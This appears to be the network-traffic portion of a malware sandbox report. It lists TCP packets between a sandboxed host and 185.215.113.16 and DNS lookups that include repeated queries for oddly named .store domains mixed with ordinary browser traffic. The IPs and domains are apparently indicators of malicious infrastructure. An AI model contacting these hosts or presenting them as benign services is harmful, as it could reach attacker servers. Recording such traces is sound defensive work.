Nov 1, 2024 00:39:03.918353081 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.918364048 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.918376923 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.918390036 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.918412924 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.918438911 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.960633993 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.960683107 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.960741997 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.960762978 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.960772038 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.960802078 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.960829020 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.962167978 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.962205887 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.962240934 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.962261915 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.962279081 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.962292910 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.962323904 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.962498903 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.962553024 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.962709904 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.962743998 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.962766886 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.962779045 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.962794065 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.962816954 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.962838888 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.962858915 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.963135958 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.963187933 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.963223934 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.963259935 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.963270903 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.963309050 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.035527945 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.035583019 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.035624981 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.035630941 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.035646915 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.035665989 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.035677910 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.035732985 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.035734892 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.035768032 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.035787106 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.035804987 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.077852964 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.077869892 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.077883005 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.077943087 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.079282999 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.079293966 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.079307079 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.079325914 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.079339981 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.079376936 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.079391956 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.079758883 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.079773903 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.079787016 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.079818964 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.079835892 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.080157995 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.080169916 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.080179930 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.080209017 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.080234051 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.080573082 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.080621958 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.081368923 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.081410885 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.152553082 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.152590036 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.152601957 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.152614117 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.152627945 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.152645111 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.152688026 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.194948912 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.195025921 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.195286989 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.195336103 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.196459055 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.196490049 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.196501970 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.196516037 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.196521044 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.196533918 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.196537018 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.196566105 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.196589947 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.196965933 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.196979046 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.196990967 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.197055101 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.197058916 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.197081089 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.197097063 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.197123051 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.197918892 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.197942972 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.197963953 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.197992086 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.198009014 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.244680882 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.244756937 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.244815111 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.269681931 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.269714117 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.269728899 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.269737005 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.269747019 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.269764900 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.269778013 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.269803047 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.269922972 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.270067930 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.270222902 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.270272017 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.313594103 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.313644886 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.313663006 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.313699961 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.313735962 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.313819885 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.313837051 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.313853979 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.313884974 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.313911915 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.313919067 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.313929081 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.313971996 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.314815044 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.314831018 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.314846039 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.314882040 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.314893961 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.315176010 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.315191031 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.315207005 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.315246105 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.315267086 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.386796951 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.386867046 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.386900902 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.386931896 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.386939049 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.386975050 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.386982918 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.387056112 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.387100935 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.387345076 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.387377977 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.387403011 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.387428045 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.387449026 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.387490034 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.387497902 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.387537003 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.430690050 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.430723906 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.430741072 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.430773020 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.430783033 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.430799007 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.430810928 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.430814981 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.430843115 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.430864096 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.431528091 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.431544065 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.431562901 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.431577921 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.431581020 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.431597948 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.431601048 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.431606054 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.431631088 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.431646109 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.432401896 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.432418108 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.432434082 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.432444096 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.432450056 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.432461023 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.432476044 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.432495117 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.504193068 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.504241943 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.504260063 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.504290104 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.504293919 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.504345894 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.504812002 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.504858971 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.505081892 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.505096912 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.505111933 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.505129099 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.505130053 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.505165100 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.505698919 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.505712986 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.505747080 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.530900955 CET	443	50006	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:04.530976057 CET	50006	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:04.532215118 CET	50006	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:04.532222033 CET	443	50006	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:04.532569885 CET	443	50006	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:04.533838987 CET	50006	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:04.533885956 CET	50006	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:04.533993006 CET	443	50006	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:04.547771931 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.547800064 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.547815084 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.547830105 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.547828913 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.547842026 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.547847033 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:04.547861099 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:04.547877073 CET	50004	80	192.168.2.6	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 1, 2024 00:38:02.067528009 CET	192.168.2.6	1.1.1.1	0x5d40	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:38:02.081789017 CET	192.168.2.6	1.1.1.1	0xabf7	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:38:02.119798899 CET	192.168.2.6	1.1.1.1	0x6678	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:38:02.130752087 CET	192.168.2.6	1.1.1.1	0x9a0c	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:38:02.141120911 CET	192.168.2.6	1.1.1.1	0x601	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:38:51.229949951 CET	192.168.2.6	1.1.1.1	0xfd58	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:38:51.243761063 CET	192.168.2.6	1.1.1.1	0xcaa7	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:38:51.257323980 CET	192.168.2.6	1.1.1.1	0xc918	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:38:51.270382881 CET	192.168.2.6	1.1.1.1	0xbf80	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:06.043801069 CET	192.168.2.6	1.1.1.1	0xb629	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:06.233831882 CET	192.168.2.6	1.1.1.1	0xf111	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:06.247745991 CET	192.168.2.6	1.1.1.1	0x978c	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:06.259171963 CET	192.168.2.6	1.1.1.1	0xa539	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:19.840199947 CET	192.168.2.6	1.1.1.1	0x4a7d	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:19.865673065 CET	192.168.2.6	1.1.1.1	0x2915	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 00:39:21.546209097 CET	192.168.2.6	1.1.1.1	0xf16e	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:21.555934906 CET	192.168.2.6	1.1.1.1	0xd154	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:21.566534996 CET	192.168.2.6	1.1.1.1	0x4802	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 1, 2024 00:39:33.353297949 CET	192.168.2.6	1.1.1.1	0x949b	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:33.355866909 CET	192.168.2.6	1.1.1.1	0xde5a	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 00:39:33.361331940 CET	192.168.2.6	1.1.1.1	0xf56b	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:33.368371010 CET	192.168.2.6	1.1.1.1	0xce8f	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 00:39:34.954288960 CET	192.168.2.6	1.1.1.1	0x4405	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:34.967480898 CET	192.168.2.6	1.1.1.1	0xa0c8	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:34.968638897 CET	192.168.2.6	1.1.1.1	0x84ec	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:34.976197958 CET	192.168.2.6	1.1.1.1	0xb432	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:34.979264021 CET	192.168.2.6	1.1.1.1	0x63d6	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:34.979882956 CET	192.168.2.6	1.1.1.1	0xf35f	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 00:39:34.980679989 CET	192.168.2.6	1.1.1.1	0xf38b	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:34.992397070 CET	192.168.2.6	1.1.1.1	0x7118	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 00:39:34.994199991 CET	192.168.2.6	1.1.1.1	0xbe55	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:35.014090061 CET	192.168.2.6	1.1.1.1	0x11f	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 00:39:35.017544031 CET	192.168.2.6	1.1.1.1	0x36ae	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:35.387262106 CET	192.168.2.6	1.1.1.1	0x341d	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:35.397316933 CET	192.168.2.6	1.1.1.1	0xb107	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:35.406121016 CET	192.168.2.6	1.1.1.1	0x4e19	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 00:39:36.337049007 CET	192.168.2.6	1.1.1.1	0x4c23	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:36.856378078 CET	192.168.2.6	1.1.1.1	0x6052	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:36.872745991 CET	192.168.2.6	1.1.1.1	0x98a3	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:36.895121098 CET	192.168.2.6	1.1.1.1	0xb065	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:36.911823034 CET	192.168.2.6	1.1.1.1	0xb9e9	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 00:39:36.918684959 CET	192.168.2.6	1.1.1.1	0xbbd3	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 00:39:36.990089893 CET	192.168.2.6	1.1.1.1	0x224f	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:37.011261940 CET	192.168.2.6	1.1.1.1	0x5fac	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:37.032385111 CET	192.168.2.6	1.1.1.1	0x90b2	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 00:39:38.044521093 CET	192.168.2.6	1.1.1.1	0x8e21	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:38.060041904 CET	192.168.2.6	1.1.1.1	0x400b	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:38.068344116 CET	192.168.2.6	1.1.1.1	0x5b93	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 00:39:38.261224031 CET	192.168.2.6	1.1.1.1	0x8fb2	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:38.272142887 CET	192.168.2.6	1.1.1.1	0x4139	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:38.290225029 CET	192.168.2.6	1.1.1.1	0x8353	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:38.355215073 CET	192.168.2.6	1.1.1.1	0xcbb6	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.126455069 CET	192.168.2.6	1.1.1.1	0x79f5	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.126857042 CET	192.168.2.6	1.1.1.1	0xf1f	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.127185106 CET	192.168.2.6	1.1.1.1	0x1cac	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.134076118 CET	192.168.2.6	1.1.1.1	0x47c1	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.134831905 CET	192.168.2.6	1.1.1.1	0x681e	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.135322094 CET	192.168.2.6	1.1.1.1	0x58cf	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.143883944 CET	192.168.2.6	1.1.1.1	0x6bf0	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 1, 2024 00:39:40.144139051 CET	192.168.2.6	1.1.1.1	0x5eec	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 1, 2024 00:39:40.144393921 CET	192.168.2.6	1.1.1.1	0x48ae	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
